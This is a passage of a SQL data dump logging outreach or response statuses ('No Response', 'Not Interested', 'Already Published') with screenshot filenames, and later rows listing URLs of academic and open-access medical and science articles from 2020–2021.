Response',NULL,5,1,'2020-09-04'),(1033,5677,2,2,'No response',NULL,5,1,'2020-09-04'),(1034,4470,2,2,'No Response',NULL,5,1,'2020-09-04'),(1035,4394,2,2,'No Response',NULL,5,1,'2020-09-04'),(1036,5677,2,2,'No response',NULL,5,1,'2020-09-04'),(1037,4102,2,2,'No Response',NULL,5,1,'2020-09-04'),(1038,0,2,2,'No Response',NULL,5,1,'2020-09-04'),(1039,5658,2,2,'No response',NULL,5,1,'2020-09-04'),(1040,5463,1,1,'Positive Response','1040-comm-sct.png',5,1,'2020-09-04'),(1041,0,3,1,'Not Interested','1041-comm-sct.png',5,1,'2020-09-04'),(1042,0,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1043,0,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1044,5658,2,2,'No response',NULL,5,1,'2020-09-04'),(1045,5462,1,1,'Not Interested','1045-comm-sct.png',5,1,'2020-09-04'),(1046,0,3,1,'Not Interested','1046-comm-sct.png',5,1,'2020-09-04'),(1047,5461,2,2,'No Response',NULL,5,1,'2020-09-04'),(1048,5657,2,2,'No response',NULL,5,1,'2020-09-04'),(1049,5370,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1050,5654,2,2,'No response',NULL,5,1,'2020-09-04'),(1051,5369,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1052,5368,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1053,5460,2,2,'No Response','1053-comm-sct.png',5,1,'2020-09-04'),(1054,5345,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1055,5340,2,1,'No Response','1055-comm-sct.png',5,1,'2020-09-04'),(1056,5338,2,1,'No Response','1056-comm-sct.png',5,1,'2020-09-04'),(1057,5458,1,1,'+ve Response','1057-comm-sct.png',5,1,'2020-09-04'),(1058,5617,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1059,5324,2,1,'No Response','1059-comm-sct.png',5,1,'2020-09-04'),(1060,5631,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1061,5320,2,2,'No Response',NULL,5,1,'2020-09-04'),(1062,5632,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1063,5308,2,2,'No Response',NULL,5,1,'2020-09-04'),(1064,5457,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1065,5306,2,2,'No Response',NULL,5,1,'2020-09-04'),(1066,5304,2,2,'No Response',NULL,5,1,'2020-09-04'),(1067,5633,2,2,'No response',NULL,5,1,'2020-09-04'),(1068,5456,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1069,5634,3,2,'No response',NULL,5,1,'2020-09-04'),(1070,5634,2,2,'No response',NULL,5,1,'2020-09-04'),(1071,5303,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1072,5301,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1073,5455,1,1,'Postive Response','1073-comm-sct.png',5,1,'2020-09-04'),(1074,5635,2,2,'No response',NULL,5,1,'2020-09-04'),(1075,5289,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1076,5286,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1077,5452,1,1,'Postive Response','1077-comm-sct.png',5,1,'2020-09-04'),(1078,5281,3,1,'Not Interested','1078-comm-sct.png',5,1,'2020-09-04'),(1079,5641,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1080,5280,3,1,'Not Interested','1080-comm-sct.png',5,1,'2020-09-04'),(1081,5277,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1082,5438,1,1,'Postive Response','1082-comm-sct.png',5,1,'2020-09-04'),(1083,5276,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1084,5274,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1085,5246,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1086,5434,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1087,5236,2,2,'No Response',NULL,5,1,'2020-09-04'),(1088,5426,1,1,'Postive Response','1088-comm-sct.png',5,1,'2020-09-04'),(1089,5228,2,1,'No Response','1089-comm-sct.png',5,1,'2020-09-04'),(1090,5226,2,1,'No Response','1090-comm-sct.png',5,1,'2020-09-04'),(1091,5616,3,3,'Not Interseted','1091-comm-sct.png',5,1,'2020-09-04'),(1092,5425,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1093,5225,2,2,'No Response',NULL,5,1,'2020-09-04'),(1094,5416,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1095,5415,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1096,5615,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1097,5414,2,1,'No Response','1097-comm-sct.png',5,1,'2020-09-04'),(1098,5614,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1099,5613,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1100,5612,1,2,'Positive response',NULL,5,1,'2020-09-04'),(1101,5413,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1102,5412,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1103,5411,2,2,'No Response',NULL,5,1,'2020-09-04'),(1104,5567,4,1,'Already Published','1104-comm-sct.png',5,1,'2020-09-04'),(1105,5392,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1106,5566,4,1,'Already Published','1106-comm-sct.png',5,1,'2020-09-04'),(1107,5565,4,1,'Already Published','1107-comm-sct.png',5,1,'2020-09-04'),(1108,5388,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1109,5564,4,1,'Already Published','1109-comm-sct.png',5,1,'2020-09-04'),(1110,5385,1,1,'Postive Response','1110-comm-sct.png',5,1,'2020-09-04'),(1111,5563,4,1,'Already Published','1111-comm-sct.png',5,1,'2020-09-04'),(1112,5373,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(1113,5562,4,1,'Already Published','1113-comm-sct.png',5,1,'2020-09-04'),(1114,5558,4,1,'Already Published','1114-comm-sct.png',5,1,'2020-09-04'),(1115,5372,3,2,'No Response',NULL,5,1,'2020-09-04'),(1116,5543,4,3,'Already Published','1116-comm-sct.png',5,1,'2020-09-04'),(1117,5371,4,2,'Postive Response',NULL,5,1,'2020-09-04'),(1118,5531,4,1,'Already Published','1118-comm-sct.png',5,1,'2020-09-04'),(1119,5506,4,1,'Already Published','1119-comm-sct.png',5,1,'2020-09-04'),(1120,5475,4,1,'Already Published','1120-comm-sct.png',5,1,'2020-09-04'),(1121,5473,4,1,'Already Published','1121-comm-sct.png',5,1,'2020-09-04'),(1122,5469,4,1,'Already Published','1122-comm-sct.png',5,1,'2020-09-04'),(1123,5448,4,1,'Already Published','1123-comm-sct.png',5,1,'2020-09-04'),(1124,5447,4,1,'Already Published','1124-comm-sct.png',5,1,'2020-09-04'),(1125,5446,4,1,'Already Published','1125-comm-sct.png',5,1,'2020-09-04'),(1126,5444,4,1,'Already Published','1126-comm-sct.png',5,1,'2020-09-04'),(1127,5441,4,1,'Already Published','1127-comm-sct.png',5,1,'2020-09-04'),(1128,5433,4,1,'Already Published','1128-comm-sct.png',5,1,'2020-09-04'),(1129,5432,4,1,'Already Published','1129-comm-sct.png',5,1,'2020-09-04'),(1130,5407,4,3,'Already Published','1130-comm-sct.png',5,1,'2020-09-04'),(1131,5403,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1132,5393,3,1,'Not Interested','1132-comm-sct.png',5,1,'2020-09-04'),(1133,5384,3,1,'Not Interested','1133-comm-sct.png',5,1,'2020-09-04'),(1134,5382,4,1,'Already published','1134-comm-sct.png',5,1,'2020-09-04'),(1135,5469,4,1,'Already Published','1135-comm-sct.png',5,1,'2020-09-04'),(1136,5381,4,2,'Already published',NULL,5,1,'2020-09-04'),(1137,5363,4,2,'Already published',NULL,5,1,'2020-09-04'),(1138,5363,4,2,'Already published',NULL,5,1,'2020-09-04'),(1139,5360,2,2,'No Response',NULL,5,1,'2020-09-04'),(1140,5355,2,2,'No Response',NULL,5,1,'2020-09-04'),(1141,5329,2,2,'No Response',NULL,5,1,'2020-09-04'),(1142,5323,2,2,'No Response',NULL,5,1,'2020-09-04'),(1143,5322,2,3,'No Response','1143-comm-sct.png',5,1,'2020-09-04'),(1144,5316,3,2,'No Response','1144-comm-sct.png',5,1,'2020-09-04'),(1145,5294,3,2,'No Response','1145-comm-sct.png',5,1,'2020-09-04'),(1146,5293,4,1,'Already Published','1146-comm-sct.png',5,1,'2020-09-04'),(1147,5279,4,1,'Already Published','1147-comm-sct.png',5,1,'2020-09-04'),(1148,5278,4,1,'Already Published','1148-comm-sct.png',5,1,'2020-09-04'),(1149,5269,4,1,'Already Published','1149-comm-sct.png',5,1,'2020-09-04'),(1150,5263,4,1,'Already Published','1150-comm-sct.png',5,1,'2020-09-04'),(1151,5262,4,1,'Already Published','1151-comm-sct.png',5,1,'2020-09-04'),(1152,5261,4,1,'Already Published','1152-comm-sct.png',5,1,'2020-09-04'),(1153,5241,4,3,'Already Published','1153-comm-sct.png',5,1,'2020-09-04'),(1154,5119,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1155,5125,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1156,5132,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1157,5133,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1158,5141,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1159,5145,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1160,5153,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1161,5160,4,2,'Already Published',NULL,5,1,'2020-09-04'),(1162,5161,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1163,5162,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1164,5177,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1165,5178,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1166,5180,2,2,'No Response',NULL,5,1,'2020-09-04'),(1167,5181,2,2,'No Response',NULL,5,1,'2020-09-04'),(1168,5182,2,2,'No Response',NULL,5,1,'2020-09-04'),(1169,5218,2,2,'No Response',NULL,5,1,'2020-09-04'),(1170,5221,2,2,'No Response',NULL,5,1,'2020-09-04'),(1171,5807,3,2,'No Response',NULL,5,1,'2020-09-04'),(1172,4848,2,2,'No Response',NULL,5,1,'2020-09-04'),(1173,5241,4,1,'Already Published','1173-comm-sct.png',5,1,'2020-09-04'),(1174,5221,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(1175,4847,2,2,'No Response',NULL,5,1,'2020-09-04'),(1176,5221,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(1177,4846,2,2,'No Response',NULL,5,1,'2020-09-04'),(1178,4844,2,2,'No Response',NULL,5,1,'2020-09-04'),(1179,5218,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(1180,4809,2,2,'No Response',NULL,5,1,'2020-09-04'),(1181,4735,2,2,'No Response',NULL,5,1,'2020-09-04'),(1182,4732,2,2,'No Response',NULL,5,1,'2020-09-04'),(1183,4721,2,2,'No Response',NULL,5,1,'2020-09-04'),(1184,4709,2,2,'No Response',NULL,5,1,'2020-09-04'),(1185,4696,2,2,'No Response',NULL,5,1,'2020-09-04'),(1186,4644,2,2,'No Response',NULL,5,1,'2020-09-04'),(1187,4643,2,2,'No Response',NULL,5,1,'2020-09-04'),(1188,4600,2,2,'No Response',NULL,5,1,'2020-09-04'),(1189,4871,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(1190,4591,2,1,'No Response','1190-comm-sct.png',5,1,'2020-09-04'),(1191,4556,2,2,'No Response',NULL,5,1,'2020-09-04'),(1192,4527,2,2,'No Response',NULL,5,1,'2020-09-04'),(1193,4518,2,2,'No Response',NULL,5,1,'2020-09-04'),(1194,4465,2,2,'No Response',NULL,5,1,'2020-09-04'),(1195,4919,4,1,'Already Published','1195-comm-sct.png',5,1,'2020-09-04'),(1196,4465,2,2,'No Response',NULL,5,1,'2020-09-04'),(1197,4953,4,1,'Already Published','1197-comm-sct.png',5,1,'2020-09-04'),(1198,4463,2,2,'No Response',NULL,5,1,'2020-09-04'),(1199,4445,2,2,'No Response',NULL,5,1,'2020-09-04'),(1200,4954,4,1,'Already Published','1200-comm-sct.png',5,1,'2020-09-04'),(1201,4439,2,1,'No Response','1201-comm-sct.png',5,1,'2020-09-04'),(1202,4969,4,1,'Already Published','1202-comm-sct.png',5,1,'2020-09-04'),(1203,4438,2,2,'No Response',NULL,5,1,'2020-09-04'),(1204,5018,4,1,'Already Published','1204-comm-sct.png',5,1,'2020-09-04'),(1205,4415,2,2,'No Response',NULL,5,1,'2020-09-04'),(1206,4376,2,2,'No Response',NULL,5,1,'2020-09-04'),(1207,5057,4,1,'Already Published','1207-comm-sct.png',5,1,'2020-09-04'),(1208,5058,4,1,'Already Published','1208-comm-sct.png',5,1,'2020-09-04'),(1209,4290,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1210,5062,4,1,'Already Published','1210-comm-sct.png',5,1,'2020-09-04'),(1211,4258,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1212,5103,4,1,'Already Published','1212-comm-sct.png',5,1,'2020-09-04'),(1213,4247,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1214,4218,3,1,'Not Interested','1214-comm-sct.png',5,1,'2020-09-04'),(1215,5105,4,1,'Already Published','1215-comm-sct.png',5,1,'2020-09-04'),(1216,4183,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1217,4160,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1218,7935,4,0,'https://trauma-acute-care.imedpub.com/an-overview-traumatic-brain-injury-editorial.pdf','1218-comm-sct.PNG',0,7,'2021-09-09'),(1219,7899,4,0,'https://www.imedpub.com/articles/research-in-cancer-cells.pdf','1219-comm-sct.PNG',0,7,'2021-09-09'),(1220,8813,4,0,'https://arxiv.org/pdf/2105.13906.pdf','1220-comm-sct.JPG',0,7,'2021-09-09'),(1221,8796,4,0,'https://juniperpublishers.com/jgwh/JGWH.MS.ID.556071.php','1221-comm-sct.JPG',0,7,'2021-09-09'),(1222,8794,4,0,'https://www.nestlemedicalhub.com/sites/default/files/2019-11/Formula%20Switch%20Leads%20to%20Enteral%20Feeding%20Tolerance%20Improvements%20in%20Adults.pdf','1222-comm-sct.JPG',0,7,'2021-09-09'),(1223,8774,4,0,'https://pubmed.ncbi.nlm.nih.gov/18392107/','1223-comm-sct.JPG',0,7,'2021-09-09'),(1224,8770,4,0,'https://arxiv.org/abs/2107.04125','1224-comm-sct.JPG',0,7,'2021-09-09'),(1225,8711,4,0,'https://www.acmicrob.com/microbiology/clinical-profile-of-bacterial-meningitis-in-children-and-comparative-interalia-analysis-of-various-microbiological-tests.pdf','1225-comm-sct.JPG',0,7,'2021-09-09'),(1226,8712,4,0,'https://www.scitechnol.com/peer-review/16p112-delection-syndrome-and-complex-congenital-cardiopathy-zEtj.pdf','1226-comm-sct.JPG',0,7,'2021-09-09'),(1227,8688,4,0,'https://www.longdom.org/open-access/strongyloides-stercoralis-infection-in-a-case-of-ankylosing-spondylitis.pdf','1227-comm-sct.JPG',0,7,'2021-09-09'),(1228,8661,4,0,'https://www.ijcaonline.org/archives/volume183/number12/31980-2021921432','1228-comm-sct.JPG',0,7,'2021-09-09'),(1229,8503,4,0,'https://diversityhealthcare.imedpub.com/after-ankle-fracture-treatment-enhanced-recovery-project-a-multidisciplinary-and-cost-effective-approach-to-improve-patient-outcom.pdf','1229-comm-sct.JPG',0,7,'2021-09-09'),(1230,8538,4,0,'https://www.imedpub.com/articles/the-eeg-report-is-structured-to-include-demographics-of-the-patient-studied-and-reason-for-the-eeg.pdf','1230-comm-sct.JPG',0,7,'2021-09-09'),(1231,8518,4,0,'https://www.imedpub.com/articles/femoral-length-reconstruction-in-adults-an-osteometric-and-radiographical-approach-using-regression-equations.pdf','1231-comm-sct.JPG',0,7,'2021-09-09'),(1232,8511,4,0,'https://www.cureus.com/articles/65549-cardiorespiratory-events-in-children-during-chemoembolization-of-ophthalmic-artery-for-retinoblastoma','1232-comm-sct.JPG',0,7,'2021-09-09'),(1233,8504,4,0,'http://mbimph.com/index.php/AJOAIMS/article/view/2159/1897','1233-comm-sct.JPG',0,7,'2021-09-09'),(1234,8465,4,0,'https://psychopathology.imedpub.com/two-exploratory-pathways-between-intolerance-of-uncertainty-anxiety-and-depression-in-the-context-of-covid19-indonesia-research-ar.pdf','1234-comm-sct.JPG',0,7,'2021-09-09'),(1235,8470,4,0,'https://www.longdom.org/open-access/a-casecontrol-study-of-risks-factors-for-corona-virus-covid-19-amonghealth-care-worker.pdf','1235-comm-sct.JPG',0,7,'2021-09-09'),(1236,8467,4,0,'https://pubmed.ncbi.nlm.nih.gov/34232945/','1236-comm-sct.JPG',0,7,'2021-09-09'),(1237,8463,4,0,'https://www.preprints.org/manuscript/202102.0045/v1','1237-comm-sct.JPG',0,7,'2021-09-09'),(1238,8455,4,0,'http://www.sciepub.com/AJNR/abstract/13389','1238-comm-sct.JPG',0,7,'2021-09-09'),(1239,8426,4,0,'https://www.jelsciences.com/articles/jbres1245.pdf','1239-comm-sct.JPG',0,7,'2021-09-09'),(1240,8418,4,0,'https://www.fisheriessciences.com/fisheries-aqua/effect-of-covid19-pandemic-in-fisheries-and-fisherman-of-rural-area.pdf','1240-comm-sct.JPG',0,7,'2021-09-09'),(1241,8421,4,0,'https://www.imedpub.com/articles/provide-a-recommender-system-for-predicting-users-favorite-music-using-gray-wolf-algorithm-and-neural-networks.pdf','1241-comm-sct.JPG',0,7,'2021-09-09'),(1242,8416,4,0,'https://www.africanjournalofrespiratorymedicine.com/articles/respiratory-symptoms-and-ventilatory-function-tests-in-nigerian-adults-with-sickle-cell-anaemia.pdf','1242-comm-sct.JPG',0,7,'2021-09-09'),(1243,8412,4,0,'https://www.amhsr.org/articles/substance-use-disorders-in-adhd-a-multimodal-approach.pdf','1243-comm-sct.JPG',0,7,'2021-09-09'),(1244,8375,4,0,'https://zenodo.org/record/4729544#.YTm_FlUzbIV','1244-comm-sct.JPG',0,7,'2021-09-09'),(1245,8379,4,0,'https://www.imedpub.com/articles/a-novel-method-of-screening-for-rheumatoid-arthritis-using-machine-learning.pdf','1245-comm-sct.JPG',0,7,'2021-09-09'),(1246,8328,4,0,'https://www.oatext.com/cardio-cerebral-infarction-syndrome-definition-diagnosis-pathophysiology-and-treatment.php','1246-comm-sct.JPG',0,7,'2021-09-09'),(1247,8326,4,0,'https://criticalcare.imedpub.com/a-new-score-to-assess-the-perioperative-period-a-retrospective-evaluation-of-acase-report-by-peridia-score.pdf','1247-comm-sct.JPG',0,7,'2021-09-09'),(1248,8305,4,0,'https://stroke.imedpub.com/death-rate-prognosis-in-stroke-patient-utilizing-calciferol.pdf','1248-comm-sct.JPG',0,7,'2021-09-09'),(1249,8243,4,0,'https://chemrxiv.org/engage/chemrxiv/article-details/60c73d0e0f50db30e1395401','1249-comm-sct.JPG',0,7,'2021-09-09'),(1250,8237,4,0,'https://www.sryahwapublications.com/archives-of-cardiology-and-cardiovascular-diseases/pdf/v2-i2/4.pdf','1250-comm-sct.JPG',0,7,'2021-09-09'),(1251,8242,4,0,'http://etd.aau.edu.et/handle/123456789/22736','1251-comm-sct.JPG',0,7,'2021-09-09'),(1252,8211,4,0,'https://www.fisheriessciences.com/fisheries-aqua/the-major-criteria-behind-the-fish-farmingpsiciculture.pdf','1252-comm-sct.JPG',0,7,'2021-09-09'),(1253,8212,4,0,'https://www.aclr.com.es/clinical-research/varicella-hospitalizations-and-communityacquired-methicillinresistant-staphylococcus-aureus-seven-years-of-active-surveillance.pdf','1253-comm-sct.JPG',0,7,'2021-09-09'),(1254,8188,4,0,'https://www.fisheriessciences.com/fisheries-aqua/scales-dermal-structures-of-fish.pdf','1254-comm-sct.JPG',0,7,'2021-09-09'),(1255,8189,4,0,'https://www.jetir.org/papers/JETIR2104236.pdf','1255-comm-sct.JPG',0,7,'2021-09-09'),(1256,8181,4,0,'http://www.conscientiabeam.com/journal/33/abstract/6438','1256-comm-sct.JPG',0,7,'2021-09-09'),(1257,8160,4,0,'https://www.imedpub.com/articles/occlusion-principles-in-implantsupported-prosthesez.pdf','1257-comm-sct.JPG',0,7,'2021-09-09'),(1258,8140,4,0,'https://www.irjet.net/archives/V8/i5/IRJET-V8I5506.pdf','1258-comm-sct.JPG',0,7,'2021-09-09'),(1259,8131,4,0,'http://www.botanyjournals.com/archives/2021/vol6/issue4/6-3-126','1259-comm-sct.JPG',0,7,'2021-09-09'),(1260,8111,4,0,'https://www.ejpmr.com/home/abstract_id/8250','1260-comm-sct.JPG',0,7,'2021-09-09'),(1261,8109,4,0,'http://www.ijaresm.com/to-study-changes-in-static-and-dynamic-balance-in-healthy-women-with-regular-heels-usage','1261-comm-sct.JPG',0,7,'2021-09-09'),(1262,8101,4,0,'https://www.imedpub.com/articles/effects-of-adansonia-digitata-pulp-extract--on-ovarian-damage-induced-by-carbon-tetrachloride-ccl4-in-adult-female-wistar-rats-rat.pdf','1262-comm-sct.JPG',0,7,'2021-09-09'),(1263,8069,4,0,'https://www.sciencedirect.com/science/article/pii/S2589299121000161','1263-comm-sct.JPG',0,7,'2021-09-13'),(1264,8059,4,0,'https://www.imedpub.com/articles/diminishing-noise-pollution--diminishes-the-hearing-capacity.pdf','1264-comm-sct.JPG',0,7,'2021-09-13'),(1265,8065,4,0,'https://www.journalajrcos.com/index.php/AJRCOS/article/view/30197','1265-comm-sct.JPG',0,7,'2021-09-13'),(1266,7950,4,0,'https://www.imedpub.com/articles/acute-promyelocytic-leukemiacurrent-treatment-protocols.pdf','1266-comm-sct.JPG',0,7,'2021-09-13'),(1267,7880,4,0,'https://www.jbiomeds.com/abstract/alveococcus-multilocularis-leuckart-1858-abuladse-1960-prevalence-sources-and-factors-of-pathogen-transmission-in-the-arctic-zone-of-yakutia-37992.html','1267-comm-sct.JPG',0,7,'2021-09-13'),(1268,7860,4,0,'https://link.springer.com/article/10.1186/s42269-021-00554-6','1268-comm-sct.JPG',0,7,'2021-09-13'),(1269,7835,4,0,'https://www.longdom.org/open-access/magnitude-of-anemia-and-socio-demographic-factors-associated-with-it-among-adults-age-1549-years-in-ethiopia-a-populatio.pdf','1269-comm-sct.JPG',0,7,'2021-09-13'),(1270,7820,4,0,'https://www.longdom.org/open-access/the-effect-of-extracts-of-citrus-sinensis-peel-on-protoscolices-in-echinococcusgranulosus.pdf','1270-comm-sct.JPG',0,7,'2021-09-13'),(1271,7810,4,0,'https://herbal-medicine.imedpub.com/assessment-of-antimicrobial-and-antioxidant-efficacy-of-methanol-extract-of-ziziphus-spinachristi-against-some-pathogenic-microorg.pdf','1271-comm-sct.JPG',0,7,'2021-09-13'),(1272,7809,4,0,'https://www.heighpubs.org/jpsp/pdf/jpsp-aid1056.pdf','1272-comm-sct.JPG',0,7,'2021-09-13'),(1273,7801,4,0,'https://clinical-experimental-nephrology.imedpub.com/simple-protocol-for-amyloid-extraction-from-ffpe-sections-using-organic-solvent.pdf','1273-comm-sct.JPG',0,7,'2021-09-13'),(1274,7782,4,0,'https://hospital-medical-management.imedpub.com/integration-of-stophf-model-in-primary-healthcare-system-in-pakistan.pdf','1274-comm-sct.JPG',0,7,'2021-09-13'),(1275,7774,4,0,'https://www.pubtexto.com/journals/international-journal-of-stem-cells-and-regenerative-medicine/fulltext/metachronous-breast-cancer-in-patient-with-renal-cell-cancer-experience-at-national-cancer-institute-in-misratalibya','1275-comm-sct.JPG',0,7,'2021-09-13'),(1276,7733,4,0,'https://www.hsd-fmsb.org/index.php/hsd/article/view/2657/pdf_1243','1276-comm-sct.JPG',0,7,'2021-09-13'),(1277,7724,4,0,'https://www.jscimedcentral.com/GenitourinaryDisorders/genitourinarydisorders-3-1008.pdf','1277-comm-sct.JPG',0,7,'2021-09-13'),(1278,7714,4,0,'https://pubmed.ncbi.nlm.nih.gov/32791221/','1278-comm-sct.JPG',0,7,'2021-09-13'),(1279,7716,4,0,'https://www.hilarispublisher.com/conference-abstracts-files/mindful-approach-to-stress-resilience.pdf','1279-comm-sct.JPG',0,7,'2021-09-13'),(1280,7720,4,0,'https://www.hilarispublisher.com/conference-abstracts-files/childhood-traumatic-stress--from-globalisation-to-localisation.pdf','1280-comm-sct.JPG',0,7,'2021-09-13'),(1281,7699,4,0,'https://www.peertechzpublications.com/articles/AADC-5-117.pdf','1281-comm-sct.JPG',0,7,'2021-09-13'),(1282,7687,4,0,'https://www.journalajcr.com/index.php/AJCR/article/view/30126/56519','1282-comm-sct.JPG',0,7,'2021-09-13'),(1283,7683,4,0,'https://www.rhu.or.ug/wp-content/uploads/2021/02/W2A-Outcome-Analysis.pdf','1283-comm-sct.JPG',0,7,'2021-09-13'),(1284,7672,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-technology-of-face-masks.pdf','1284-comm-sct.JPG',0,7,'2021-09-13'),(1285,7673,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-bioremediation-using-nano-particles.pdf','1285-comm-sct.JPG',0,7,'2021-09-13'),(1286,7648,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-silver-nano-particles.pdf','1286-comm-sct.JPG',0,7,'2021-09-13'),(1287,7643,4,0,'https://www.imedpub.com/articles/editorial-note-on-astro-chemistry.pdf','1287-comm-sct.JPG',0,7,'2021-09-13'),(1288,7646,4,0,'https://www.imedpub.com/articles/editorial-note-on-food-chemistry-of-vegetables-rich-in-antioxidants-that-help-in-avoiding-diseases.pdf','1288-comm-sct.JPG',0,7,'2021-09-13'),(1289,7647,4,0,'https://www.imedpub.com/articles/editorial-note-on-chemistry-of-petroleum-hydrocarbon-degrading-bacteria.pdf','1289-comm-sct.JPG',0,7,'2021-09-13'),(1290,7629,4,0,'https://www.archivesofmedicine.com/medicine/editorial-note-on-covid-19-latest-updates-and-drug-development.pdf','1290-comm-sct.JPG',0,7,'2021-09-13'),(1291,7671,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-technology.pdf','1291-comm-sct.JPG',0,7,'2021-09-13'),(1292,7674,4,0,'https://nanotechnology.imedpub.com/editorial-note-on-nano-medicine.pdf','1292-comm-sct.JPG',0,7,'2021-09-13'),(1293,7644,4,0,'https://www.imedpub.com/articles/editorial-note-on-interesting-facts-of-periodic-table.pdf','1293-comm-sct.JPG',0,7,'2021-09-13'),(1294,7578,4,0,'https://pubmed.ncbi.nlm.nih.gov/34032938/','1294-comm-sct.JPG',0,7,'2021-09-13'),(1295,7556,4,0,'https://www.acmicrob.com/microbiology/prevalence-and-characterization-of-bacterial-and-yeast-vaginal-infections-in-a-public-health-institution-of-ouagadougou-burkina-fa.pdf','1295-comm-sct.JPG',0,7,'2021-09-13'),(1296,7538,4,0,'https://www.imedpub.com/articles/impact-of-increasing-number-of-beams-on-heart-dosedistribution-in-leftsided-breastirradiation-using-intensitymodulated-radiotherap.pdf','1296-comm-sct.JPG',0,7,'2021-09-13'),(1297,7522,4,0,'https://clinical-experimental-nephrology.imedpub.com/proteomic-analysis-for-cryofibrinogen-associated-glomerulonephritis-cryoglobulinemic-glomerulonephritis.pdf','1297-comm-sct.JPG',0,7,'2021-09-13'),(1298,7492,4,0,'http://research.fk.ui.ac.id/borangmhs/index.php/list-borang-mahasiswa1/details/2/2985','1298-comm-sct.JPG',0,7,'2021-09-13'),(1299,7467,4,0,'https://www.imedpub.com/articles/a-review-on-pharmacognostical-phytochemical--pharmacological-investigation-of-lagerstroemia-speciosa.pdf','1299-comm-sct.JPG',0,7,'2021-09-13'),(1300,7449,4,0,'https://www.hsj.gr/medicine/male-partners-involvement-and-associated-factors-in-prevention-of-mother-to-child-transmission-of-hiv-in-east-badawacho-district-h.pdf','1300-comm-sct.JPG',0,7,'2021-09-13'),(1301,7451,4,0,'https://www.imedpub.com/articles/the-comparison-between-gumbel-and-exponentiated-gumbel-distributions-and-their-applications-in-hydrological-process.pdf','1301-comm-sct.JPG',0,7,'2021-09-13'),(1302,7433,4,0,'https://www.imedpub.com/articles/debilitated-contractility-of-the-round-striated-urethral-sphincter-muscle-may-add-to-pressure-urinary-incontinence-in-female-zucke.pdf','1302-comm-sct.JPG',0,7,'2021-09-13'),(1303,7434,4,0,'https://www.imedpub.com/articles/coronavirus-and-kidney-transplantation-an-italian-survey-and-consensus.pdf','1303-comm-sct.JPG',0,7,'2021-09-13'),(1304,7415,4,0,'https://www.imedpub.com/articles/effect-of-chronic-kidney-disease-on-cardio-vascular-system.pdf','1304-comm-sct.JPG',0,7,'2021-09-13'),(1305,7389,4,0,'http://ieomsociety.org/southafrica2018/papers/408.pdf','1305-comm-sct.JPG',0,7,'2021-09-13'),(1306,7478,4,0,'Study of Gene Pathways Involved in Cold Tolerance Process in Sugarcane by RNA-Seq Method','1306-comm-sct.JPG',0,7,'2021-09-13'),(1307,7363,4,0,'https://cgcijctr.com/document/volume32/CGCIJCTR_C0302106.pdf','1307-comm-sct.JPG',0,7,'2021-09-13'),(1308,7353,4,0,'https://www.msjonline.org/index.php/ijrms/article/view/9660/6465','1308-comm-sct.JPG',0,7,'2021-09-13'),(1309,7337,4,0,'https://ijshr.com/IJSHR_Vol.6_Issue.1_Jan2021/IJSHR037.pdf','1309-comm-sct.JPG',0,7,'2021-09-13'),(1310,7344,4,0,'https://www.imedpub.com/articles/efficacy-and-safety-of-remdesivir-in-renal-transplant-recipients-withcovid19-infection--an-initial-experience-at-jaslok-hospital-m.pdf','1310-comm-sct.JPG',0,7,'2021-09-13'),(1311,7317,4,0,'https://www.imedpub.com/articles/scaling-data-intensive-application-using-containerization-volunteering-cloud-computing.pdf','1311-comm-sct.JPG',0,7,'2021-09-13'),(1312,7303,4,0,'https://www.ijmhr.org/ijpr.9.3/IJPR.2021.121.pdf','1312-comm-sct.JPG',0,7,'2021-09-13'),(1313,7307,4,0,'https://www.imedpub.com/articles/real-world-management-of-b